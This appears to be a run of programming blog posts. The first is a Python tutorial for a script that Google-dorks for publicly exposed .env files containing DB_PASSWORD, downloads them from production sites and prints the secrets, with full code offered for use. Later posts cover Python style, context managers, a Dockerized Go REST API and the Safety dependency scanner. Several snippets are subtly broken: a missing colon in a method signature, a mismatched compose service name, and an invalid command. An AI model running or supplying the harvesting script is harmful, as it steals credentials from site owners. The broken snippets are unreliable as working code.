In this article we will create a simple exploit with Python.

NOTE: Since the entire code snippet is not that long, no final code will be provided on GitLab this time.

Foreword

This article is STRICTLY for educational purposes. All the information inside the article is deemed public data and no illegal methods were used in order to obtain this information.

Prerequisites

Some prerequisites before you get started:

• Python 3

• aiohttp

• beautifulsoup4

Usage of venv is strongly recommended to keep your python packages separated from your host machine.

1. Exploit?

Exploit by definition:

Exploit - to use someone or something unfairly for your advantage

Not helpful in our case. While this might apply as a general term in any sort of business/life event, we need a better definition for coding related world.

Exploit - code that takes advantage of a software vulnerability or security flaw

Much better. Well, let me tell your right off the bat - we will not explore any software vulnerability or security flaw. We will create a code that will give us publicly available information about sensitive data that MAY be used to inflict certain damage - which we won't do :)

1.1 What are we creating?

Good question, glad you asked. When you develop an application - in most cases, you will create a .env file that will support (bootstrap) your application with environment variables. Well, some people tend to deploy these files along with the application on a production server instead of using tools like Vault for example.

Keep in mind that this may be a good practice IF you do some protective measures. This file has to be hidden from the public view!

Some people don't take this seriously, which is quite unfortunate for them.

This information is what we will be exploiting today.

2. Python app

Create a new Python project and along with it create a new venv that will hold our Python packages. Install the required Python packages:

pip install aiohttp
pip install beautifulsoup4

We will need to search the internet (Google) for this - I will say it one more time - publicly available information. We will want to create some GET requests:

async def _get_response(url: str, session: ClientSession) -> ClientResponse:
    resp: ClientResponse = await session.get(
        url,
        headers={
            "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
        },
        ssl=False,
    )
    resp.raise_for_status()
    return resp

Looking good eh? We will send an async (if you don't know how to make use of async, check it out here) request and try to get the response (raise Exception if something goes wrong). We will also try to avoid certain sites from blocking us by making use of the custom User-Agent header.

Next step, we need to submit a google search query and convert the response into a BeautifulSoup object:

async def _google_search(query: str, session: ClientSession) -> BeautifulSoup:
    response: ClientResponse = await _get_response(
        f"https://google.com/search?q={query}", session
    )
    return BeautifulSoup(await response.text(), "html.parser")

So, once the search results are in, and we have our HTML (await response.text()) we want to convert it to a soup object which means that Python will be able to understand and search the HTML code.

Next - get a list of wanted results:

def _get_results_list(soup: BeautifulSoup, session: ClientSession) -> list:
    results: list = []
    blacklist: list[str] = ["github", "gitlab", "bitbucket"]
    for a in soup.find_all("a", href=True):
        url: str = a["href"]
        if any(x in url for x in blacklist) or not url.endswith(".env"):
            continue
        results.append(_get_response(url, session))
    return results

Some devs tend to push the development .env files to git repository hosters (GitHub, ...) so we are not interested in those. We put them inside the blacklist list.

Now we want to iterate through all of the google search results that contain the links (a tag in HTML) and take every single URL that does not contain elements from the blacklist list and also ends with .env. So we will filter out something like this:

https://github.com/some-repo/.env

But we are interested in something like this:

https://some-production-site.com/.env

Once we find our targets, we append them inside the results list with an available callback _get_response for that specific URL.

The final step is to put it all together:

async def exploit(query: str) -> None:
    session: ClientSession = ClientSession()
    try:
        soup: BeautifulSoup = await _google_search(query, session)
        results: list = _get_results_list(soup, session)
        for resp in await asyncio.gather(*results):
            content = await resp.read()
            print("======== START ========")
            print(content.decode())
            print("========  END  ========")
    finally:
        await session.close()


asyncio.run(exploit('filetype:env "DB_PASSWORD"'))

The exploit coroutine will firstly create a new async session to be used, then we will submit a google search for the given term (the one that will find the sensitive info) which will return a google search HTML with the vulnerable data. We will then get the results list by applying certain filters to all the results that were returned (_get_results_list method) and then we will get the content of each of these targeted sites (the content of the .env files of each URL from the results list) and print it out. Finally, we will close the session when it is no longer needed.

The most important part here is the google search query filetype:env "DB_PASSWORD".

We are searching only for a certain file type (.env) that contains certain information inside it (DB_PASSWORD).

2.1 Full code

For the lazy ones :P

import asyncio

from aiohttp import ClientResponse, ClientSession
from bs4 import BeautifulSoup


async def _get_response(url: str, session: ClientSession) -> ClientResponse:
    resp: ClientResponse = await session.get(
        url,
        headers={
            "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
        },
        ssl=False,
    )
    resp.raise_for_status()
    return resp


async def _google_search(query: str, session: ClientSession) -> BeautifulSoup:
    response: ClientResponse = await _get_response(
        f"https://google.com/search?q={query}", session
    )
    return BeautifulSoup(await response.text(), "html.parser")


def _get_results_list(soup: BeautifulSoup, session: ClientSession) -> list:
    results: list = []
    blacklist: list[str] = ["github", "gitlab", "bitbucket"]
    for a in soup.find_all("a", href=True):
        url: str = a["href"]
        if any(x in url for x in blacklist) or not url.endswith(".env"):
            continue
        results.append(_get_response(url, session))
    return results


async def exploit(query: str) -> None:
    session: ClientSession = ClientSession()
    try:
        soup: BeautifulSoup = await _google_search(query, session)
        results: list = _get_results_list(soup, session)
        for resp in await asyncio.gather(*results):
            content = await resp.read()
            print("======== START ========")
            print(content.decode())
            print("========  END  ========")
    finally:
        await session.close()


asyncio.run(exploit('filetype:env "DB_PASSWORD"'))

Closing words

We did not do any illegal hacking with this simple exploit. We can't even call it an exploit since everything we did here is available publicly, we just know what to search for - right?

With that being said, once you execute this code, you will see some sensitive information being printed out like passwords, API keys, mail credentials, etc.

BE A GOOD GUY, NOT AN A**HOLE - help these devs to fix their security holes and let them know something is wrong on their site.

If you don't want to be the good guy, well, cybercrime is a serious offense so keep that in mind :)

As always, thanks for reading!

Is my code good enough? It works, but can it be more optimized? Can I shorten it a bit? Is it readable? Well - we all ask these kinds of questions at all stages of our developer careers. I will share some easy tips with you on how you can improve your code style in Python.

1. Use exit conditions

> What are exit conditions?

Good question :) Exit conditions are the ones that we make use of when we DON'T want something to happen. They are very handy in order to keep our code simple rather than nesting it with unnecessary indentations.

Imagine that you have to check if the number inside of a list is even and then check if it is smaller than 10 - if it is then check if it is number 2.

Now you might be thinking - hey I can do this huge condition and put it all together - and you are right, but this is a simple example, imagine if you had five more conditions along with the ones I gave. Your code readability would drop significantly :)

Instead, we can make use of exit conditions.

lst: list[int] = [1, 4, 6, 8, 2, 10]

for el in lst:
    if el % 2 != 0:
        continue
    if el > 10:
        continue
    if el != 2:
        continue
    print("2")

We continued the loop if any of the given conditions were not met. Once we get to the print statement, we know for a fact that every other condition was met and that our number is actually number 2. No code nesting occurred :)

2. Function returns

Similar to the above, this one is also related to the unnecessary code nesting.

Let's say that your function has to return "even" if the number is even and "odd" if it is not even. What some people would do is something like this:

def check_number(number: int) -> str:
    if number % 2 == 0:
        return "even"
    else:
        return "odd"

While this will work, we can do a little tweak to optimize it:

def check_number(number: int) -> str:
    if number % 2 == 0:
        return "even"
    return "odd"

Notice how we can make use of the return statement to match any other condition than one that we put next to the if statement. So if the given number is not even, we automatically return "odd".

BONUS - we can also do a one-liner but it might mess up readability:

def check_number(number: int) -> str:
    return "even" if number % 2 == 0 else "odd"

3. Type hinting

You may have noticed that in the above examples I used type hints. For example number: int. We know for a fact that Python is a dynamically typed language which means that we DON'T have to specify the variable type upon declaration and that variable type can change during the code execution. What was once an integer could become a list and so on.

> Why would I do it then?

To make everyone's life easier. Whoever picks up on where you left your code will not have to do a complete trace of the function calls or variable names in order to find what type that variable actually is (list, string, integer, ...). Also, type hinting activates the autocomplete inside of your favorite IDE so it is way easier to develop for you too.

4. Use a tuple instead of a list

If you come across a situation where you know how many elements you have to store, and you won't need to change them - perhaps you should use tuples instead of lists.

Tuples store the exact number of elements and they can't be changed - which means smaller size. Lists, on the other hand, can be extended or appended which means they will allocate much more space than what is actually needed.

Speed is also a key component here :)

Take a look at the benchmark below:

import timeit

lst_code: str = "[1,2,3]"
tup_code: str = "(1,2,3)"

t1: float = timeit.timeit(lst_code, number=10000)
t2: float = timeit.timeit(tup_code, number=10000)

print(f"{t1:.20f}")
print(f"{t2:.20f}")

My output is:

0.00023555899997518281
0.00004893300001640455

Huge difference in speed eh?

Keep in mind that this is a simple example and your production code might show different results.

5. Context managers

Recently I wrote about context managers, so in order not to repeat myself on all the benefits and examples of when/how/why to use them, please click here to read more.

6. Conclusion

I hope that some of these tips will be useful to you in your professional career advancement. Keep your code as clean as possible and as readable as you can. While code formatters and code linters can help to format your code, only you can make it readable and simple to understand.

Like always, thanks for reading :)

If you ever used Python, most likely you used context managers without even knowing what they are and what they do or how they work - you just used them as per the documentation of some 3rd party package. In this article, I will try to explain what exactly are context managers and what are their benefits.

1. Context managers (by definition)

I hate to be a bookworm (I really do, trust me), but sometimes good old definitions come in handy. This is the case with context managers. So here it goes:

Context managers are responsible for allocating and releasing resources when needed.

Is a question mark popping up in your head? Expected. I will walk you with a practical example :)

1.1 Practical example - no context manager

The idea is to open up a file with Python and read the file contents of that specific file. Let's take a look at the code below:

file = open("textfile.txt", "r")
file.read()
file.close()

Simple eh? We open up a file called textfile.txt in read mode (r) and we read all of the contents of that file by making use of the read() method. Once we are done with injecting the content inside of the memory (or a variable if you want), we close the file.

Now - imagine that you forgot to close the file. Now imagine that you work with tons of files and somehow forget to close all of them. This can lead to substantial resource leaks and you want to avoid that.

Enter context managers :)

1.2 Practical example - context manager

The idea is once again to open up a file and read its contents. This time we will use context manager. The whole idea of a context manager is to do the following:

• Open up the resource (allocate it)
• Do something with the resource
• Close the resource once it is not needed anymore (release it)

In Python, we use the context managers by making use of the with keyword. Let's see what the code looks like now:

with open("textfile.txt", "r") as file:
    file.read()
    # some other code while the resource (file) is allocated

Similar, yet different. Where did the file.close() go? Funny that you ask - we don't need it anymore.

But... but... you said that we need to close the file to avoid resource leaks bla bla...

Yes, I did, and it is true. But what if I told you that context managers do that for you. In the above code, the resource (file) is opened as a variable called file in a read mode and is made available for usage (additional related code) inside of a block (indentation). Inside of that block, we read the file content. We can also do additional stuff with the file INSIDE of that block, BUT once we leave that block, the context manager will release the resource (in this case close the file) and we can no longer access it.

Handy eh? Let's see how it works under the hood.

2. Context manager under the hood

Each object (in Python everything is an object) that wants to use context manager, by using the with keyword, has to implement two built-in methods - __enter__ and __exit__.

For the above use case, if we were to create a custom context manager class it would look something like this:

from types import TracebackType
from typing import IO, Optional, Type


class CustomClassFile:
    def __init__(self, file_path: str, file_mode: str) -> None:
        self.file = open(file_path, file_mode)

    def __enter__(self) -> IO:
        return self.file

    def __exit__(
        self,
        exc_type: Optional[Type[BaseException]],
        exc_value: Optional[BaseException],
        traceback: Optional[TracebackType],
    ) -> None
        self.file.close()


with CustomClassFile("textfile.txt", "r") as file:
    file.read()

So, once we create a new instance of CustomClassFile, we pass the two arguments - file_path and file_mode. That is fairly simple.

Inside of the __enter__ method is where we need to define the resource that we want to allocate once the context manager kicks in. In this case, it will be the self.file object.

The __exit__ method signature is a bit weird, but I won't bother you with the details of it. All of those arguments are required by default - so whenever you will create the __exit__ method, you would use this exact same signature. This is due to the ability to create your own exception handlers (if they occur) upon releasing the resource. What is important is that we call the self.file.close() method inside of the __exit__ method. This means that once we get past the with block, the file will be closed automatically by the context manager :)

Let's see some more examples.

2.1 Context manager as a class by example

The idea here would be to create the custom class that will allocate not the file but rather the contents of a JSON file and releases the file afterward.

import json
from types import TracebackType
from typing import Any, IO, Optional, Type


class JSONFileLoader:
    def __init__(self, file_path: str) -> None:
        self.file: IO = open(file_path, "r")
        self.data: Any = json.load(self.file)

    def __enter__(self) -> Any:
        return self.data

    def __exit__(
        self,
        exc_type: Optional[Type[BaseException]],
        exc_value: Optional[BaseException],
        traceback: Optional[TracebackType],
    ) -> None:
        if self.file:
            self.file.close()


with JSONFileLoader("file.json") as json_data:
    print(json_data)

This time when we create a new instance of the JSONFileLoader we only pass one argument - file_path. The __init__ method then also loads the json contents of the file inside of the self.data property.

The __enter__ method will this time allocate the data (as per the idea above) instead of the file itself. That means that once we enter the context manager instead of the whole file like before we will only have the file data available.

The __exit__ method remains the same as before - we just close the file.

with JSONFileLoader("file.json") as json_data:
    print(json_data)

See that now instead of the file, our __enter__ method actually is returning the self.data property, which means that json_data is actually whatever is set inside of the self.data property. This makes it simple to just - for this example - print out the data. Once we leave the with block, __exit__ will kick in and close the file for us.

2.2 Context manager as a generator by example

This is an alternative approach to creating context managers in Python. If you don't know what generators are in Python, please take a moment to read about them.

Let's see how to make use of Python's contextlib module to solve the same idea as the one above.

import json
from contextlib import contextmanager
from typing import Any, Generator, IO


@contextmanager
def json_file_loader(file_path: str) -> Generator[Any, None, None]:
    file: IO = open(file_path, "r")
    data: Any = json.load(file)
    yield data
    file.close()


with json_file_loader("file.json") as json_data:
    print(json_data)

So the idea is that you will create a function and decorate it by using @contextmanager to mark it as a context manager for Python. We create a function that takes the file_path as an argument and it opens the file and loads it by using the json.load() method. Once that is done, we yield the data. That means we will pause the execution of the code below from the function json_file_loader until we exit the context manager. This means that file.close() will execute ONLY after we exit the context manager as described below.

with json_file_loader("file.json") as json_data:
    # inside of the context manager (yield kicked in)
    print(json_data)
# context manager exited which means that file.close() will execute

3. Benefits of using context managers

So what would be the perks of using context managers?

• Reduce resource leaks
• Reduce the number of lines of code
• More power over what to expose inside of the with block
• Multiple ways to implement
• No need to worry about releasing the resources

I hope you find those benefits handy and start to make use of context managers.

Like always, thanks for reading :)

Last time I showed you how to build a simple book store REST API. This time I want to take it a step further and show you how to build an (almost) production-ready API with real database storage instead of an in-memory mock that we used. Also, I will show you how to dockerize our API.

NOTE: In a hurry? Get the final code here.

Prerequisites

Obviously, the code from part one is required and you can find it here.

Last time we already defined some of the prerequisites, so we will add some on top of those:

• gorm.io/gorm

• gorm.io/driver/postgres

• Docker/docker-compose

Go tour is still highly recommended if you did not look at it before.

1. Dockerization

Docker is an excellent tool in the web development world. Not only does it make our life easier in terms of shipping the app we are building, but it also makes your local development so much easier. Being cross-platform friendly, you really should make every app that you build dockerized. The whole idea behind Docker is that we will create a standalone image that will run our application on an OS that will power up our app and its dependencies.

Create a file named Dockerfile in your app root directory and put the following inside of it:

FROM golang:1.17-alpine

RUN apk update && apk upgrade && \
    apk add --no-cache bash git openssh

WORKDIR /app

COPY go.mod go.sum ./
RUN go mod download
COPY . .

RUN go install github.com/cespare/reflex@latest

EXPOSE 5000
CMD exec reflex -r '(\.go$|go\.mod)' go run main.go --start-service

So, we first state that we will inject our app to an existing Alpine Linux image that has Go preinstalled. We copy over the mod file and install all the modules needed in order for our app to run and then we copy over all of our application files. We also install reflex module that will come in handy for the local development since it will detect changes in your code and reload the application to apply changes. Lastly, we start the monitoring of all *.go files and spin up main.go. We expose our app on port 5000.

So far so good... But what about the database? Time to create docker-compose file :)

1.1 docker-compose

We use docker-compose as a service orchestrator of a docker image or multiple images. What the hell did I just say, eh? Well, our API will obviously need some sort of database in order to save our books information. We will hook it up just by making use of docker-compose.

Create a file named docker-compose.yml in your root directory again and put the following inside of it:

version: "3.5"
services:

  db:
    image: postgres:alpine
    restart: unless-stopped
    env_file:
      - ./.env
    ports:
      - "5432:5432"
    volumes:
      - ./db:/var/lib/postgresql/data

  bookstore-api:
    build: .
    volumes:
      - .:/app
    tty: true
    env_file:
      - ./.env
    ports:
      - "5000:5000"
    restart: unless-stopped
    depends_on:
      - database
    stop_signal: SIGINT

A bit confusing on the first look, but it is not that complicated really. We can see the two services in there, one is called bookstore-api and the other one is called db. For the db service, we can see that we have the image parameter set to postgres:alpine which means that we won't install anything on our host machine, Docker will instead pull the prebuilt PostgreSQL image and run it inside of a container that we will later connect to.

As for the bookstore-api service, we can see the parameter build: . which means that in order to build the service, Docker will look inside of the current directory (.) for a file called Dockerfile and do as instructed in there.

Both of the services are exposed at certain ports and both were given environment variables via the env_file parameter. So where is our .env file? Good question, let's create one inside of our root directory:

HOST=0.0.0.0
PORT=5000
DB_USER=pg
DB_PASSWORD=pass
DB_HOST=db
DB_PORT=5432
DB_NAME=crud

This is the bare minimum that we will need for what we are building today. As you can see, the .env file consists of the server and database-related variables that we need in order for our app to work. Let's move on and start to implement the code.

2. Tweaking the code

Since we will be making use of the database in order to store our data, we will need some kind of ORM to help us not to write raw SQL queries but instead to make use of our models (structures). Let's go ahead and install GORM and its PostgreSQL driver:

go get -u gorm.io/gorm
go get -u gorm.io/driver/postgres

Now before we continue further - remember the .env file we created earlier? Well, we need to "feed" that data inside of our app somehow. Inside of your src directory, create a new file called config.go and put the following inside of it:

package src

type Configuration struct {
    Host       string
    Port       string
    DBUser     string
    DBPassword string
    DBHost     string
    DBPort     string
    DBName     string
    DBString   string
}

We will come back later to this part of the code so leave it like this for now.

2.1 Main app modification

Let's create a structure that will hold all of the "parts" that our app will use. Open up the app.go form src directory and add the following:

type App struct {
    Config Configuration
    Router *mux.Router
    DB     *gorm.DB
}

This is the main structure that our app will use. We have a config, router, and db ORM inside of this handy app wrapper. Now that we have the App wrapper ready, we can modify our main.go form the root directory:

func main() {
    app := src.App{}
    app.Configure()
    app.Run()
}

As you can see above - we created a new instance from the App structure wrapper and we called two methods from it, Configure() and Run(). The whole idea is that everything will be handled just by making use of those two methods.

Now that we have our App wrapper, we can add more code to our config.go inside of the src directory:

func getEnv(key, fallback string) string {
    if value, ok := os.LookupEnv(key); ok {
        return value
    }
    return fallback
}

func (c *Configuration) loadEnv() {
    c.Host = getEnv("HOST", "0.0.0.0")
    c.Port = getEnv("PORT", "5000")
    c.DBUser = getEnv("DB_USER", "pg")
    c.DBPassword = getEnv("DB_PASSWORD", "pass")
    c.DBHost = getEnv("DB_HOST", "db")
    c.DBPort = getEnv("DB_PORT", "5432")
    c.DBName = getEnv("DB_NAME", "crud")
    c.DBString = fmt.Sprintf(
        "postgres://%s:%s@%s:%s/%s",
        c.DBUser,
        c.DBPassword,
        c.DBHost,
        c.DBPort,
        c.DBName,
    )
}

The getEnv() function will try to load the environment variable by a given key, and if it exists, it will return its value. If it does not exist, it will return the fallback value instead.

The loadEnv() function will take an instance from the Configuration structure and fill it with the data from the .env file.

Head back to your app. go inside of the src directory and first remove the Start() method since we won't make any use of it, and then add the following:

func (app *App) Configure() {
    app.configureEnv()
    app.configureDB()
    app.configureRoutes()
    app.configureMiddleware()
}

func (app *App) Run() {
    log.Fatal(
        http.ListenAndServe(
            fmt.Sprintf("%s:%s", app.Config.Host, app.Config.Port),
            handlers.LoggingHandler(os.Stdout, app.Router),
        ),
    )
}

As you can see, the Run() function is responsible for running the http server on desired host/port combination (the one that will come from our .env file) and to log the events that happen in there.

The Configure() method is responsible for quite a few things. Let's add more code and see everything that it will configure:

func (app *App) configureEnv() {
    app.Config.loadEnv()
}

This one will pass the Config (Configuration structure) from the App wrapper to the loadEnv() function inside of the config.go. This way our app.Config will get loaded with the environment variables.

func (app *App) configureDB() {
    var err error
    app.DB, err = gorm.Open(postgres.Open(app.Config.DBString), &gorm.Config{})

    if err != nil {
        log.Fatalln(err)
    }

    _ = app.DB.AutoMigrate(&Book{})
}

The second param inside of our App wrapper is the GORM DB instance. The whole point of this function is to establish a connection by using DBString from the app.Config. Since we already loaded the app.Config with the environment data, DBString is already set at this point.

The important line of code here is _ = app.DB.AutoMigrate(&Book{}). This line of code will create a table inside of our DB called books and it will create all the fields from our Book structure.

In order to make this work, we need to make the Book structure a GORM model. This can be easily done - open up the src/data.go and do the following replacement inside of the Book structure:

Id     int    `json:"id"     gorm:"primaryKey"`

The gorm annotation will make it a GORM model. Also, while we are editing the data.go we should remove the booksDB variable since this time we will use the real database.

Let's add more code to our app.go.

func (app *App) configureMiddleware() {
    app.Router.Use(commonMiddleware)
}

We already explained the middleware usage in the last part so this time it is just moved inside of a separate function (in case we decide to register more middleware later on) for the sake of code cleanliness.

func (app *App) configureRoutes() {
    app.Router = mux.NewRouter()
    app.Router.HandleFunc("/book", app.getAllBooks).Methods(http.MethodGet)
    app.Router.HandleFunc("/book", app.addBook).Methods(http.MethodPost)
    app.Router.HandleFunc("/book/{book_id:[0-9]+}", app.getBook).Methods(http.MethodGet)
    app.Router.HandleFunc("/book/{book_id:[0-9]+}", app.updateBook).Methods(http.MethodPut)
    app.Router.HandleFunc("/book/{book_id:[0-9]+}", app.deleteBook).Methods(http.MethodDelete)
}

This is also from the last part. We configure our routes on the app.Router. Other than just being moved to the separate function, we also did a tiny modification in terms of handlers. All of our handlers now have the app. prefix. Since we will GORM to store the data, our handlers need to access app.DB somehow and that is why we will pass app as a handler of the methods.

We have all of the functions needed in order for the Configure() function to work. Time to modify our handlers.

2.2 Handlers modification

Inside of our handlers, we will need to make use of DB from the App structure wrapper.

However, before we do that, we will need to modify our src/helpers.go. In part one we created a method to check for duplicates, but since we removed the booksDB from the src/data.go we will need to modify our helpers.go. Inside of the helpers.go remove both removeBook() and checkDuplicateBookId() functions. We will also add this function:

func (app *App) checkBookExists(field string, value string) bool {
    var count int64
    err := app.DB.Model(&Book{}).Select("id").Where(fmt.Sprintf("%s = ?", field), value).Count(&count).Error
    if err != nil {
        return false
    }
    if count > 0 {
        return true
    }
    return false
}

This function will try to get the id from the Book model (books table in the DB) by trying to find the row in our DB that has a field with a given value. So for example we will check the field title for the value Harry Potter in order to determine if it exists. Function will return true or false.

2.5.1 Get a single book

func (app *App) getBook(w http.ResponseWriter, r *http.Request) {
    var book Book
    vars := mux.Vars(r)
    bookId, _ := strconv.Atoi(vars["book_id"])
    result := app.DB.First(&book, bookId)
    if result.Error == nil {
        _ = json.NewEncoder(w).Encode(book)
        return
    }
    JSONResponse(w, http.StatusNotFound, "")
}

The code is very similar to what we had in part one. The main difference is that we are now pulling the book from the database. We need to create the empty Book structure variable and search the DB for the first match from the books table that has the id set to the value of bookId, If we find it, we fill the book model variable with the data from the DB, else we will return 404: Not Found status back.

2.5.2 Get all books

func (app *App) getAllBooks(w http.ResponseWriter, r *http.Request) {
    var books []Book
    _ = app.DB.Order("id asc").Find(&books)
    _ = json.NewEncoder(w).Encode(books)
}

We first create a slice of Books since we are expecting multiple books from the DB. We search the DB for all of the data from the books table and populate the books slice with the data.

2.5.3 Add a new book

func (app *App) addBook(w http.ResponseWriter, r *http.Request) {
    var book Book
    decoder := json.NewDecoder(r.Body)
    err := decoder.Decode(&book)
    if err != nil {
        JSONResponse(w, http.StatusBadRequest, "")
        return
    }
    if app.checkBookExists("title", book.Title) {
        JSONResponse(w, http.StatusConflict, "")
        return
    }
    result := app.DB.Create(&book)
    if result.Error == nil {
        w.WriteHeader(201)
        _ = json.NewEncoder(w).Encode(book)
    }
}

First, we decode the payload body against the book model as we did in part one. If everything is ok, we need to check for duplicates. For this example, a duplicate is treated as a book of the same title. If there are no duplicates found, we create a new book inside of our DB with the data from the book model variable.

2.5.4 Update existing book

func (app *App) updateBook(w http.ResponseWriter, r *http.Request) {
    var book Book
    var newBook Book
    vars := mux.Vars(r)
    bookId, _ := strconv.Atoi(vars["book_id"])
    decoder := json.NewDecoder(r.Body)
    err := decoder.Decode(&newBook)
    if err != nil {
        JSONResponse(w, http.StatusBadRequest, "")
        return
    }
    if app.checkBookExists("title", newBook.Title) {
        JSONResponse(w, http.StatusConflict, "")
        return
    }
    result := app.DB.First(&book, bookId)
    if result.Error == nil {
        newBook.Id = bookId
        app.DB.Save(&newBook)
        _ = json.NewEncoder(w).Encode(newBook)
        return
    }
    JSONResponse(w, http.StatusNotFound, "")
}

For this one, we have to create two Book model instances. One will have the new data from the payload and the other one will contain the data that we try to get from the DB. since this is an update method, we first must check that the book we are trying to update already exists. If it does, we need to check for the new data that we are updating in order to determine if we will create a duplicate by modifying the data. If everything is ok, we will save the new data over the old data (old book id).

2.5.5 Delete existing book

func (app *App) deleteBook(w http.ResponseWriter, r *http.Request) {
    var book Book
    vars := mux.Vars(r)
    bookId, _ := strconv.Atoi(vars["book_id"])
    result := app.DB.First(&book, bookId)
    if result.Error == nil {
        app.DB.Delete(&book)
        return
    }
    JSONResponse(w, http.StatusNotFound, "")
}

We need to find the book by a given bookId and if it exists, we will simply delete that row from the DB.

3. Building and running the app

Let's see what we created :)

In order to run the app, first, we need to build it. Run the following command in your terminal:

docker-compose build

Once the image is built successfully, we will spin it up:

docker-compose-up

VOILA! Your API is up and running inside of the Docker image we just build. Feel free to test it with Insomnia / Postman.

The final code can be found here.

Like always, thanks for reading :)

Whenever we are building something with Python, most of the time we rely on third-party packages so that we don't have to reinvent the wheel for some simple things like sending an HTTP request. By doing so we lose control of how safe we are with that decision. If you want to learn how to prevent security holes inside of your application or service, read below :)

Introduction

Before I explain the simple way HOW to prevent security holes that you could have inside of your application, we should first understand WHY this is so important. Let me kick off this article with some interesting stats:

• Cybercrime is up ~600% due to the COVID-19 pandemic
• In 2020, the average time to identify a breach was 207 days
• 43% of cyberattacks target small businesses
• $3.86 million is the global average cost of a data breach

Here comes the scariest one:

• 95% of cybersecurity breaches are a result of human error

In other words - 95% of the above could have been prevented. Unfortunately, human neglect is what leads to these numbers. Most of these could be prevented simply by making use of any sort of vulnerability scanner.

In my article, I will explain in detail how to utilize a simple scanner that will keep your dependencies safe :)

1. Dependency problem

Let's assume you are building an app that will act as currency exchange software (GUI, API, ...). You will need to hook up to some sort of external API to get the exchange rate list that you will rely on to do the currency conventions. Now comes the tricky part - unless you will do EVERYTHING from scratch, you will probably make use of requests (3rd party) package.

This is where things are getting messy. For the requests to work, that 3rd party package ALSO uses other 3rd party packages and installs them inside of your app (docker image, venv, server ...). If you check the setup.py from the requests package you can see exactly which 3rd party packages are needed for requests to work:

requires = [
    'charset_normalizer~=2.0.0; python_version >= "3"',
    'chardet>=3.0.2,<5; python_version < "3"',
    'idna>=2.5,<3; python_version < "3"',
    'idna>=2.5,<4; python_version >= "3"',
    'urllib3>=1.21.1,<1.27',
    'certifi>=2017.4.17'
]

Not that bad, right? Well, the thing is that every one of these can ALSO have sub-packages they need to run themselves.

1.1 Building the complete dependency tree

Ok, let's see all of this in action. Create a new project and create a virtual environment along with it. Activate the venv you just created:

source /path-to-your-venv/bin/activate

Once your venv is activated, create a file (outside of your venv in your project root) called requirements.in and put the following inside of it:

aiohttp
requests

For the fun of it, I also added the aiohttp package. Now let's install pip-tools to compile the dependency tree:

pip install pip-tools

Build the dependency tree by executing the following:

pip-compile -r requirements.in

After it is done, you will notice a new file in your project root called requirements.txt. That's what we were looking for - the complete dependency tree. All of the requirements are there:

#
# This file is autogenerated by pip-compile with python 3.10
# To update, run:
#
#    pip-compile requirements.in
#
aiohttp==3.8.1
    # via -r requirements.in
aiosignal==1.2.0
    # via aiohttp
async-timeout==4.0.2
    # via aiohttp
attrs==21.4.0
    # via aiohttp
certifi==2021.10.8
    # via requests
charset-normalizer==2.0.11
    # via
    #   aiohttp
    #   requests
frozenlist==1.3.0
    # via
    #   aiohttp
    #   aiosignal
idna==3.3
    # via
    #   requests
    #   yarl
multidict==6.0.2
    # via
    #   aiohttp
    #   yarl
requests==2.27.1
    # via -r requirements.in
urllib3==1.26.8
    # via requests
yarl==1.7.2
    # via aiohttp

Do you see how many there are? And we only included two packages for our application. Imagine how many there are once you are finished creating your application :)

2. Safety

Now that we know WHY we should use a vulnerability scanner, it is time to see HOW to do it.

Safety to the rescue.

Safety (also a 3rd party package!) is a dependency security scanner that checks all of your application dependencies against the Python vulnerability database Safety DB. If there are any vulnerabilities found, safety will output them as a plain text or JSON format. Safety can be used in many ways inside of your project and we will explore most of them.

2.1 Safety as a package

Straight forward way of using safety is to just install it as you would normally do with any other 3rd party package:

pip install safety

After that we can start the scanner by using the following command:

safety check -r requirements.txt

If everything is ok, you will get the following output (trimmed down):

| REPORT
| checked 12 packages, using free DB (updated once a month)
| No known security vulnerabilities found.

2.2 Safety inside of Docker image

Most of the time we will Dockerize our application for the sake of deployment/ease of use/ development/some other reason. Safety can fortunately also be used as a scanner of Docker images. Build your image as you would normally do and add a TAG to it. Afterward, run the command:

docker run -it --rm ${TAG} "/bin/bash -c \"pip install safety && safety check\"

2.3 Safety as a Docker image

If you don't want to install and run safety as a package, you can also make use of the Docker image of safety. That way you will hook up the contents of your requirements.txt and check them against the safety running inside of a Docker image:

cat requirements.txt | docker run -i --rm pyupio/safety safety check --stdin

2.4 Safety inside of CI service

If you are making use of CI services such as GitLab, you can also include safety as a part of your CI pipeline. Add the following as a step inside of any stage that you prefer in your .gitlab-ci.yml:

safety:
  script:
    - pip install safety
    - safety check

Make sure that the image that you use for your pipelines has pip installed

2.5 Safety inside of tox

You can also add safety as a part of your tox configuration:

[tox]
envlist = py39

[testenv]
deps =
    safety
    pytest
commands =
    safety check
    pytest

This way safety will run right before your tests execute.

2.6 Safety as a pre-commit hook

If you are using pre-commit hooks, safety can also be added inside of your .pre-commit-config.yaml:

-   repo: https://github.com/Lucas-C/pre-commit-hooks-safety
    rev: v1.2.4
    hooks:
    -   id: python-safety-dependencies-check
        files: requirements.txt

3. Conclusion

While there are so many ways to keep your application safe regardless of the tech stack it was built in, this time I just wanted to show you why making use of a vulnerability scanner could be essential for your project. It is fairly simple to include one inside of your Python projects and there should be no excuse for not using one in the first place.

Stay safe and happy coding!

Like always, thanks for reading :)

Go (Golang) is the new kid on the block in terms of the recent popularity surge. It is small, stable, simple to use and learn, fast, compiled (native code), and heavily used in cloud tools and services (Docker, Kubernetes, ...). There is no reason not to take it for a spin considering all of the perks that come with it. In this tutorial, we will build a simple book store REST API.

NOTE: In a hurry? Get the final code here.

Prerequisites

Before we start, some of the prerequisites we will use:

• Go

• gorilla/handlers

• gorilla/mux

Since we will build a complete API solution, I highly recommend that you take a look at Go tour.

1. Application structure

You should have Go installed and ready by now. Open up your favorite IDE for Go (Visual Studio Code, GoLand, ...) and create a new Go project. As I mentioned earlier, the idea is to build a simple REST API for book store management by using Mux. Once you created your blank project, create the following structure inside of it:

├── main.go
└── src
    ├── app.go
    ├── data.go
    ├── handlers.go
    ├── helpers.go
    └── middlewares.go

1.1 Go packages and modules

This is the right time to talk about Go modules and packages. If you are familiar with Python, you might get an idea of what those are since they operate similarly.

The best way to describe a Go package is that it's a collection of source files in the same directory that are compiled together as a reusable unit. That means that all files that serve a similar purpose should be put inside one package. As per our structure above - src is one of our packages.

Go module is a collection of Go packages along with their dependencies, meaning that one module can consist of multiple packages. You can think of our whole application as a Go module for easier understanding.

